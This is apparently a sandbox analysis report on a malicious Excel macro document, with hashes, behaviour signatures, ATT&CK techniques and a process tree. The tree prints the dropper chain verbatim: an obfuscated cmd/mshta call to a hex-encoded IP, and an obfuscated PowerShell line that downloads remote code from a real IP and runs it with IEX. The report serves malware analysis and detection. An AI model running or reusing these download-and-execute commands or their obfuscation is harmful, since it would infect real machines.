f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917

General

Target

52c71979386ac643247d9d73585dba55.xls
Size

141KB
MD5

52c71979386ac643247d9d73585dba55
SHA1

42822423168d51c2ff0a9c939fa139c29add0de7
SHA256

f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917
SHA512

26744f67592a65554601bfbc28256b2efd611ccfccf3798a8825e0e808728f799e26a639c3d651fd8bf74a105bc4b4746c7f3a317ade95a7807f6ca0eb841018

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2792	2132	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	624	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1860	624	WerFault.exe	57

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2132	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 2780	2132	EXCEL.EXE	53
PID 2132 wrote to memory of 2780	2132	EXCEL.EXE	53
PID 2132 wrote to memory of 2792	2132	EXCEL.EXE	55
PID 2132 wrote to memory of 2792	2132	EXCEL.EXE	55
PID 2792 wrote to memory of 624	2792	cmd.exe	57
PID 2792 wrote to memory of 624	2792	cmd.exe	57

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\52c71979386ac643247d9d73585dba55.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2780
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1816
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 624 -s 1728
      4⤵
      Program crash
      PID:1860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3460

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 412 -p 624 -ip 624
1⤵
PID:1208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2132-132-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2132-133-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2132-134-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2132-135-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2132-136-0x00007FFB89030000-0x00007FFB89040000-memory.dmp

Filesize
64KB

Download
memory/2132-139-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

Filesize
64KB

Download
memory/2132-140-0x00007FFB86720000-0x00007FFB86730000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads